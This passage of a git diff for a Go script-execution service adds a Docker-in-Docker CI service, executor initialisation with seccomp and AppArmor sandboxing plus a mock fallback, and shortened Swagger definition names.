diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2a9b5e4..83d65e7 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -145,6 +145,19 @@ jobs: --health-retries 5 ports: - 5432:5432 + + docker: + image: docker:27-dind + env: + DOCKER_TLS_CERTDIR: /certs + options: >- + --privileged + --health-cmd "docker info" + --health-interval 10s + --health-timeout 5s + --health-retries 5 + ports: + - 2376:2376 steps: - name: Checkout code @@ -176,6 +189,8 @@ jobs: TEST_DB_NAME: voidrunner_test TEST_DB_SSLMODE: disable JWT_SECRET_KEY: test-secret-key-for-integration + DOCKER_HOST: tcp://localhost:2376 + DOCKER_TLS_VERIFY: 0 run: make test-integration docs: diff --git a/cmd/api/main.go b/cmd/api/main.go index 0db0e17..723bdae 100644 --- a/cmd/api/main.go +++ b/cmd/api/main.go @@ -32,9 +32,11 @@ import ( "context" "errors" "fmt" + "io" "net/http" "os" "os/signal" + "path/filepath" "syscall" "time" @@ -43,6 +45,8 @@ import ( "github.com/voidrunnerhq/voidrunner/internal/auth" "github.com/voidrunnerhq/voidrunner/internal/config" "github.com/voidrunnerhq/voidrunner/internal/database" + "github.com/voidrunnerhq/voidrunner/internal/executor" + "github.com/voidrunnerhq/voidrunner/internal/services" "github.com/voidrunnerhq/voidrunner/pkg/logger" ) @@ -95,12 +99,111 @@ func main() { // Initialize authentication service authService := auth.NewService(repos.Users, jwtService, log.Logger, cfg) + // Initialize executor configuration + executorConfig := &executor.Config{ + DockerEndpoint: cfg.Executor.DockerEndpoint, + DefaultResourceLimits: executor.ResourceLimits{ + MemoryLimitBytes: int64(cfg.Executor.DefaultMemoryLimitMB) * 1024 * 1024, + CPUQuota: cfg.Executor.DefaultCPUQuota, + PidsLimit: cfg.Executor.DefaultPidsLimit, + TimeoutSeconds: cfg.Executor.DefaultTimeoutSeconds, + }, + DefaultTimeoutSeconds: cfg.Executor.DefaultTimeoutSeconds, + Images: executor.ImageConfig{ + Python: cfg.Executor.PythonImage, + Bash: cfg.Executor.BashImage, + JavaScript: cfg.Executor.JavaScriptImage, + Go: cfg.Executor.GoImage, + }, + Security: executor.SecuritySettings{ + EnableSeccomp: cfg.Executor.EnableSeccomp, + SeccompProfilePath: cfg.Executor.SeccompProfilePath, + EnableAppArmor: cfg.Executor.EnableAppArmor, + AppArmorProfile: cfg.Executor.AppArmorProfile, + ExecutionUser: cfg.Executor.ExecutionUser, + }, + } + + // Create seccomp profile directory if it doesn't exist + if cfg.Executor.EnableSeccomp { + seccompDir := filepath.Dir(cfg.Executor.SeccompProfilePath) + if err := os.MkdirAll(seccompDir, 0750); err != nil { + log.Warn("failed to create seccomp profile directory", "error", err, "path", seccompDir) + } + + // Create a temporary security manager to generate the seccomp profile + tempSecurityManager := executor.NewSecurityManager(executorConfig) + seccompProfilePath, err := tempSecurityManager.CreateSeccompProfile(context.Background()) + if err != nil { + log.Warn("failed to create seccomp profile", "error", err) + } else { + // Copy the profile to the configured location + if seccompProfilePath != cfg.Executor.SeccompProfilePath { + if err := copyFile(seccompProfilePath, cfg.Executor.SeccompProfilePath); err != nil { + log.Warn("failed to copy seccomp profile to configured location", "error", err) + } else { + log.Info("seccomp profile created successfully", "path", cfg.Executor.SeccompProfilePath) + } + // Clean up temporary profile + _ = os.Remove(seccompProfilePath) + } else { + log.Info("seccomp profile created successfully", "path", cfg.Executor.SeccompProfilePath) + } + } + } + + // Initialize executor (Docker or Mock based on availability) + var taskExecutor executor.TaskExecutor + + // Try to initialize Docker executor first + dockerExecutor, err := executor.NewExecutor(executorConfig, log.Logger) + if err != nil { + log.Warn("failed to initialize Docker executor, falling back to mock executor", "error", err) + // Use mock executor for environments without Docker (e.g., CI) + taskExecutor = executor.NewMockExecutor(executorConfig, log.Logger) + log.Info("mock executor initialized successfully") + } else { + // Check Docker executor health + healthCtx, healthCancel := context.WithTimeout(context.Background(), 10*time.Second) + defer healthCancel() + + if err := dockerExecutor.IsHealthy(healthCtx); err != nil { + log.Warn("Docker executor health check failed, falling back to mock executor", "error", err) + // Cleanup failed Docker executor + _ = dockerExecutor.Cleanup(context.Background()) + // Use mock executor instead + taskExecutor = executor.NewMockExecutor(executorConfig, log.Logger) + log.Info("mock executor initialized successfully") + } else { + taskExecutor = dockerExecutor + log.Info("Docker executor initialized successfully") + // Add cleanup for successful Docker executor + defer func() { + if err := dockerExecutor.Cleanup(context.Background()); err != nil { + log.Error("failed to cleanup Docker executor", "error", err) + } + }() + } + } + + // Initialize task execution service + taskExecutionService := services.NewTaskExecutionService(dbConn, log.Logger) + + // Initialize task executor service + taskExecutorService := services.NewTaskExecutorService( + taskExecutionService, + repos.Tasks, + taskExecutor, + nil, // cleanup manager will be initialized within the executor + log.Logger, + ) + if cfg.IsProduction() { gin.SetMode(gin.ReleaseMode) } router := gin.New() - routes.Setup(router, cfg, log, dbConn, repos, authService) + routes.Setup(router, cfg, log, dbConn, repos, authService, taskExecutionService, taskExecutorService) srv := &http.Server{ Addr: fmt.Sprintf("%s:%s", cfg.Server.Host, cfg.Server.Port), @@ -140,3 +243,41 @@ func main() { log.Info("server exited") } + +// copyFile copies a file from src to dst with proper path validation +func copyFile(src, dst string) error { + // Validate and clean paths to prevent directory traversal + cleanSrc := filepath.Clean(src) + cleanDst := filepath.Clean(dst) + + // Additional security check: ensure paths don't contain ".." or other suspicious patterns + if !filepath.IsAbs(cleanSrc) || !filepath.IsAbs(cleanDst) { + return fmt.Errorf("paths must be absolute") + } + // #nosec G304 - Path traversal mitigation: paths are validated and cleaned above + sourceFile, err := os.Open(cleanSrc) + if err != nil { + return err + } + defer sourceFile.Close() + + // Ensure destination directory exists + if err := os.MkdirAll(filepath.Dir(cleanDst), 0750); err != nil { + return err + } + + // #nosec G304 - Path traversal mitigation: paths are validated and cleaned above + destFile, err := os.Create(cleanDst) + if err != nil { + return err + } + defer destFile.Close() + + _, err = io.Copy(destFile, sourceFile) + if err != nil { + return err + } + + // Set file permissions to 0600 for security + return os.Chmod(cleanDst, 0600) +} diff --git a/docs/docs.go b/docs/docs.go index fd86fce..46c92f5 100644 --- a/docs/docs.go +++ b/docs/docs.go @@ -64,7 +64,7 @@ const docTemplate = `{ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.LoginRequest" + "$ref": "#/definitions/models.LoginRequest" } } ], @@ -72,25 +72,25 @@ const docTemplate = `{ "200": { "description": "Login successful", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.AuthResponse" + "$ref": "#/definitions/models.AuthResponse" } }, "400": { "description": "Invalid request format or validation error", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "401": { "description": "Invalid credentials", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "429": { "description": "Rate limit exceeded", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } } } @@ -146,14 +146,14 @@ const docTemplate = `{ "schema": { "type": "object", "additionalProperties": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.UserResponse" + "$ref": "#/definitions/models.UserResponse" } } }, "401": { "description": "Unauthorized", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } } } @@ -179,7 +179,7 @@ const docTemplate = `{ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.RefreshTokenRequest" + "$ref": "#/definitions/models.RefreshTokenRequest" } } ], @@ -187,25 +187,25 @@ const docTemplate = `{ "200": { "description": "Token refreshed successfully", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.AuthResponse" + "$ref": "#/definitions/models.AuthResponse" } }, "400": { "description": "Invalid request format", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "401": { "description": "Invalid refresh token", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "429": { "description": "Rate limit exceeded", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } } } @@ -231,7 +231,7 @@ const docTemplate = `{ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.RegisterRequest" + "$ref": "#/definitions/models.RegisterRequest" } } ], @@ -239,25 +239,25 @@ const docTemplate = `{ "201": { "description": "User registered successfully", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.AuthResponse" + "$ref": "#/definitions/models.AuthResponse" } }, "400": { "description": "Invalid request format or validation error", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "409": { "description": "User already exists", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "429": { "description": "Rate limit exceeded", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } } } @@ -338,7 +338,7 @@ const docTemplate = `{ "200": { "description": "Service is healthy", "schema": { - "$ref": "#/definitions/internal_api_handlers.HealthResponse" + "$ref": "#/definitions/handlers.HealthResponse" } } } @@ -361,13 +361,13 @@ const docTemplate = `{ "200": { "description": "Service is ready", "schema": { - "$ref": "#/definitions/internal_api_handlers.ReadinessResponse" + "$ref": "#/definitions/handlers.ReadinessResponse" } }, "503": { "description": "Service is not ready", "schema": { - "$ref": "#/definitions/internal_api_handlers.ReadinessResponse" + "$ref": "#/definitions/handlers.ReadinessResponse" } } } @@ -411,25 +411,25 @@ const docTemplate = `{ "200": { "description": "Tasks retrieved successfully", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskListResponse" + "$ref": "#/definitions/models.TaskListResponse" } }, "400": { "description": "Invalid query parameters", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "401": { "description": "Unauthorized", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "429": { "description": "Rate limit exceeded", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } } } @@ -458,7 +458,7 @@ const docTemplate = `{ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.CreateTaskRequest" + "$ref": "#/definitions/models.CreateTaskRequest" } } ], @@ -466,25 +466,25 @@ const docTemplate = `{ "201": { "description": "Task created successfully", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskResponse" + "$ref": "#/definitions/models.TaskResponse" } }, "400": { "description": "Invalid request format or validation error", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "401": { "description": "Unauthorized", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "429": { "description": "Rate limit exceeded", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } } } @@ -521,37 +521,37 @@ const docTemplate = `{ "200": { "description": "Task retrieved successfully", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskResponse" + "$ref": "#/definitions/models.TaskResponse" } }, "400": { "description": "Invalid task ID", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "401": { "description": "Unauthorized", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "403": { "description": "Forbidden", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "404": { "description": "Task not found", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "429": { "description": "Rate limit exceeded", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } } } @@ -588,43 +588,43 @@ const docTemplate = `{ "201": { "description": "Execution started successfully", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskExecutionResponse" + "$ref": "#/definitions/models.TaskExecutionResponse" } }, "400": { "description": "Invalid task ID", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "401": { "description": "Unauthorized", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "403": { "description": "Forbidden", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "404": { "description": "Task not found", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "409": { "description": "Task is already running", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "429": { "description": "Rate limit exceeded", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } } } @@ -632,7 +632,44 @@ const docTemplate = `{ } }, "definitions": { - "github_com_voidrunnerhq_voidrunner_internal_models.AuthResponse": { + "handlers.HealthResponse": { + "type": "object", + "properties": { + "service": { + "type": "string" + }, + "status": { + "type": "string" + }, + "timestamp": { + "type": "string" + }, + "uptime": { + "type": "string" + }, + "version": { + "type": "string" + } + } + }, + "handlers.ReadinessResponse": { + "type": "object", + "properties": { + "checks": { + "type": "object", + "additionalProperties": { + "type": "string" + } + }, + "status": { + "type": "string" + }, + "timestamp": { + "type": "string" + } + } + }, + "models.AuthResponse": { "type": "object", "properties": { "access_token": { @@ -648,11 +685,11 @@ const docTemplate = `{ "type": "string" }, "user": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.UserResponse" + "$ref": "#/definitions/models.UserResponse" } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.CreateTaskRequest": { + "models.CreateTaskRequest": { "type": "object", "required": [ "name", @@ -665,7 +702,7 @@ const docTemplate = `{ "maxLength": 1000 }, "metadata": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.JSONB" + "$ref": "#/definitions/models.JSONB" }, "name": { "type": "string", @@ -683,7 +720,7 @@ const docTemplate = `{ "minLength": 1 }, "script_type": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ScriptType" + "$ref": "#/definitions/models.ScriptType" }, "timeout_seconds": { "type": "integer", @@ -692,7 +729,7 @@ const docTemplate = `{ } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse": { + "models.ErrorResponse": { "type": "object", "properties": { "details": { @@ -704,12 +741,12 @@ const docTemplate = `{ "validation_errors": { "type": "array", "items": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ValidationError" + "$ref": "#/definitions/models.ValidationError" } } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.ExecutionStatus": { + "models.ExecutionStatus": { "type": "string", "enum": [ "pending", @@ -728,11 +765,11 @@ const docTemplate = `{ "ExecutionStatusCancelled" ] }, - "github_com_voidrunnerhq_voidrunner_internal_models.JSONB": { + "models.JSONB": { "type": "object", "additionalProperties": true }, - "github_com_voidrunnerhq_voidrunner_internal_models.LoginRequest": { + "models.LoginRequest": { "type": "object", "required": [ "email", @@ -747,7 +784,7 @@ const docTemplate = `{ } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.RefreshTokenRequest": { + "models.RefreshTokenRequest": { "type": "object", "required": [ "refresh_token" @@ -758,7 +795,7 @@ const docTemplate = `{ } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.RegisterRequest": { + "models.RegisterRequest": { "type": "object", "required": [ "email", @@ -780,7 +817,7 @@ const docTemplate = `{ } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.ScriptType": { + "models.ScriptType": { "type": "string", "enum": [ "python", @@ -795,7 +832,7 @@ const docTemplate = `{ "ScriptTypeGo" ] }, - "github_com_voidrunnerhq_voidrunner_internal_models.TaskExecutionResponse": { + "models.TaskExecutionResponse": { "type": "object", "properties": { "completed_at": { @@ -820,7 +857,7 @@ const docTemplate = `{ "type": "string" }, "status": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ExecutionStatus" + "$ref": "#/definitions/models.ExecutionStatus" }, "stderr": { "type": "string" @@ -833,7 +870,7 @@ const docTemplate = `{ } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.TaskListResponse": { + "models.TaskListResponse": { "type": "object", "properties": { "limit": { @@ -845,7 +882,7 @@ const docTemplate = `{ "tasks": { "type": "array", "items": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskResponse" + "$ref": "#/definitions/models.TaskResponse" } }, "total": { @@ -853,7 +890,7 @@ const docTemplate = `{ } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.TaskResponse": { + "models.TaskResponse": { "type": "object", "properties": { "created_at": { @@ -866,7 +903,7 @@ const docTemplate = `{ "type": "string" }, "metadata": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.JSONB" + "$ref": "#/definitions/models.JSONB" }, "name": { "type": "string" @@ -878,10 +915,10 @@ const docTemplate = `{ "type": "string" }, "script_type": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ScriptType" + "$ref": "#/definitions/models.ScriptType" }, "status": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskStatus" + "$ref": "#/definitions/models.TaskStatus" }, "timeout_seconds": { "type": "integer" @@ -894,7 +931,7 @@ const docTemplate = `{ } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.TaskStatus": { + "models.TaskStatus": { "type": "string", "enum": [ "pending", @@ -913,7 +950,7 @@ const docTemplate = `{ "TaskStatusCancelled" ] }, - "github_com_voidrunnerhq_voidrunner_internal_models.UserResponse": { + "models.UserResponse": { "type": "object", "properties": { "created_at": { @@ -933,7 +970,7 @@ const docTemplate = `{ } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.ValidationError": { + "models.ValidationError": { "type": "object", "properties": { "field": { @@ -949,43 +986,6 @@ const docTemplate = `{ "type": "string" } } - }, - "internal_api_handlers.HealthResponse": { - "type": "object", - "properties": { - "service": { - "type": "string" - }, - "status": { - "type": "string" - }, - "timestamp": { - "type": "string" - }, - "uptime": { - "type": "string" - }, - "version": { - "type": "string" - } - } - }, - "internal_api_handlers.ReadinessResponse": { - "type": "object", - "properties": { - "checks": { - "type": "object", - "additionalProperties": { - "type": "string" - } - }, - "status": { - "type": "string" - }, - "timestamp": { - "type": "string" - } - } } }, "securityDefinitions": { diff --git a/docs/swagger.json b/docs/swagger.json index 53f96fd..3536c1b 100644 --- a/docs/swagger.json +++ b/docs/swagger.json @@ -58,7 +58,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.LoginRequest" + "$ref": "#/definitions/models.LoginRequest" } } ], @@ -66,25 +66,25 @@ "200": { "description": "Login successful", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.AuthResponse" + "$ref": "#/definitions/models.AuthResponse" } }, "400": { "description": "Invalid request format or validation error", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "401": { "description": "Invalid credentials", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "429": { "description": "Rate limit exceeded", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } } } @@ -140,14 +140,14 @@ "schema": { "type": "object", "additionalProperties": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.UserResponse" + "$ref": "#/definitions/models.UserResponse" } } }, "401": { "description": "Unauthorized", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } } } @@ -173,7 +173,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.RefreshTokenRequest" + "$ref": "#/definitions/models.RefreshTokenRequest" } } ], @@ -181,25 +181,25 @@ "200": { "description": "Token refreshed successfully", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.AuthResponse" + "$ref": "#/definitions/models.AuthResponse" } }, "400": { "description": "Invalid request format", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "401": { "description": "Invalid refresh token", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "429": { "description": "Rate limit exceeded", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } } } @@ -225,7 +225,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.RegisterRequest" + "$ref": "#/definitions/models.RegisterRequest" } } ], @@ -233,25 +233,25 @@ "201": { "description": "User registered successfully", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.AuthResponse" + "$ref": "#/definitions/models.AuthResponse" } }, "400": { "description": "Invalid request format or validation error", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "409": { "description": "User already exists", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "429": { "description": "Rate limit exceeded", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } } } @@ -332,7 +332,7 @@ "200": { "description": "Service is healthy", "schema": { - "$ref": "#/definitions/internal_api_handlers.HealthResponse" + "$ref": "#/definitions/handlers.HealthResponse" } } } @@ -355,13 +355,13 @@ "200": { "description": "Service is ready", "schema": { - "$ref": "#/definitions/internal_api_handlers.ReadinessResponse" + "$ref": "#/definitions/handlers.ReadinessResponse" } }, "503": { "description": "Service is not ready", "schema": { - "$ref": "#/definitions/internal_api_handlers.ReadinessResponse" + "$ref": "#/definitions/handlers.ReadinessResponse" } } } @@ -405,25 +405,25 @@ "200": { "description": "Tasks retrieved successfully", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskListResponse" + "$ref": "#/definitions/models.TaskListResponse" } }, "400": { "description": "Invalid query parameters", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "401": { "description": "Unauthorized", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "429": { "description": "Rate limit exceeded", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } } } @@ -452,7 +452,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.CreateTaskRequest" + "$ref": "#/definitions/models.CreateTaskRequest" } } ], @@ -460,25 +460,25 @@ "201": { "description": "Task created successfully", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskResponse" + "$ref": "#/definitions/models.TaskResponse" } }, "400": { "description": "Invalid request format or validation error", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "401": { "description": "Unauthorized", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "429": { "description": "Rate limit exceeded", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } } } @@ -515,37 +515,37 @@ "200": { "description": "Task retrieved successfully", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskResponse" + "$ref": "#/definitions/models.TaskResponse" } }, "400": { "description": "Invalid task ID", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "401": { "description": "Unauthorized", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "403": { "description": "Forbidden", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "404": { "description": "Task not found", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "429": { "description": "Rate limit exceeded", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } } } @@ -582,43 +582,43 @@ "201": { "description": "Execution started successfully", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.TaskExecutionResponse" + "$ref": "#/definitions/models.TaskExecutionResponse" } }, "400": { "description": "Invalid task ID", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "401": { "description": "Unauthorized", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "403": { "description": "Forbidden", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "404": { "description": "Task not found", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "409": { "description": "Task is already running", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } }, "429": { "description": "Rate limit exceeded", "schema": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse" + "$ref": "#/definitions/models.ErrorResponse" } } } @@ -626,7 +626,44 @@ } }, "definitions": { - "github_com_voidrunnerhq_voidrunner_internal_models.AuthResponse": { + "handlers.HealthResponse": { + "type": "object", + "properties": { + "service": { + "type": "string" + }, + "status": { + "type": "string" + }, + "timestamp": { + "type": "string" + }, + "uptime": { + "type": "string" + }, + "version": { + "type": "string" + } + } + }, + "handlers.ReadinessResponse": { + "type": "object", + "properties": { + "checks": { + "type": "object", + "additionalProperties": { + "type": "string" + } + }, + "status": { + "type": "string" + }, + "timestamp": { + "type": "string" + } + } + }, + "models.AuthResponse": { "type": "object", "properties": { "access_token": { @@ -642,11 +679,11 @@ "type": "string" }, "user": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.UserResponse" + "$ref": "#/definitions/models.UserResponse" } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.CreateTaskRequest": { + "models.CreateTaskRequest": { "type": "object", "required": [ "name", @@ -659,7 +696,7 @@ "maxLength": 1000 }, "metadata": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.JSONB" + "$ref": "#/definitions/models.JSONB" }, "name": { "type": "string", @@ -677,7 +714,7 @@ "minLength": 1 }, "script_type": { - "$ref": "#/definitions/github_com_voidrunnerhq_voidrunner_internal_models.ScriptType" + "$ref": "#/definitions/models.ScriptType" }, "timeout_seconds": { "type": "integer", @@ -686,7 +723,7 @@ } } }, - "github_com_voidrunnerhq_voidrunner_internal_models.ErrorResponse": { + "models.ErrorResponse": { "type": "object", "properties": { 